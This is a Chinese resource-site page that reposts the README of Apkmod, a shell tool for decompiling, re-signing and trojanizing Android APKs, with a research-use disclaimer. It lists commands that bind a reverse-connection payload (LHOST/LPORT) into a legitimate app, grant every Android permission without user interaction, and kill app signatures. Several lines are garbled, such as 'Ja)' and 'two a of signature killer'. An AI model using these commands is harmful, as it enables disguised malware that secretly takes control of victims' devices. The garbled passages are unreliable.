Apkmod - Apkmod can decompile, recompile, sign APK, and bin

项目说明

Apkmod v4.1

Author : Lokesh

_Steps For Installation_

1. First goto home directory cd $HOME
2. Get the setup script wget
3. Execute the script bash setup.sh
4. Now you can execute command apkmod

Usage :

1. For decompiling apkmod -d -i /path/to/inapp.apk -o /path/to/outdirectory. It will decompile __inapp.apk__ into __outdirectory__ folder.
2. For recompiling apkmod -r -i /path/to/indirectory -o /path/to/outapp.apk. It will recompile __indirectory__ ( where decompiled files are exists ) into __outapp.apk__.
3. For signing apkmod -s -i /path/to/unsignedapp.apk -o /path/to/signedapp.apk. It will sign __unsignedapp.apk__ and sa ( signed app ) to __signedapp.apk__.
4. For binding apkmod -b -i /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444. It will bind payload with __originalApp.apk__ and sa binded app to __binded.apk__.
5. Use -V to enable output
6. If only editing Ja) then this is the recommended action for faster decompile & rebuild --no-res
7. If you are only editing the resources. This is the recommended action for faster disassemble & assemble --no-smali
8. use --frame-path to specify framework directory like --frame-path=/path/to/dir
9. Use --enable-perm to enable all android permissions in binded or non binded payloads without user interaction. For example :- apkmod --enable-perm -i /path/to/binded.apk -o mybinded.apk
10. apkmod --to-java -i /path/to/in.apk -o outfolder will decompile dex to ja can be __[.apk,.dex,.zip]__
11. Now you can use a optional option -a to use __aapt__ for __binding__ and __recompiling__. Why aapt ? Because some apps can't recompile with __aapt2__ but __aapt__ can do it. But I can't drop __aapt2__ support because some apps can't recompile with __aapt__ so first recompile or bind without __aapt__ (-a) then if you failed then try with __aapt__. For example apkmod -a -b -i /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444 will use aapt otherwise aapt2.
12. To change App name use --appname with -i. For example apkmod --appname="New App Name" -i /path/to/in.apk -o /path/to/out.apk
13. To remove/kill signature of app , apkmod --signature-bypass --killer=k2 -i /path/to/in.apk -o /path/to/out.apk. There are two a of signature killer , one is k1 and second one is k2, you will have to specify like --killer=k1 or --killer=k2.

Size Comparision (Termux)

Size  | Apkmod  | Third party tools
--- | --- | ---
after installation | Around 100 MB | Around 700-900 MB

#### Why Apkmod is extremely small ?
Because it has Alpine instead of Ubuntu, kali, parrot or other glibc based distros.

#### You can join me on

项目信息

开发语言：Shell

Star 数：839

技术要点

该项目属于黑客技术方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕Apkmod can decompile, recompile, sign APK, and bind the payload with any legit APP展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。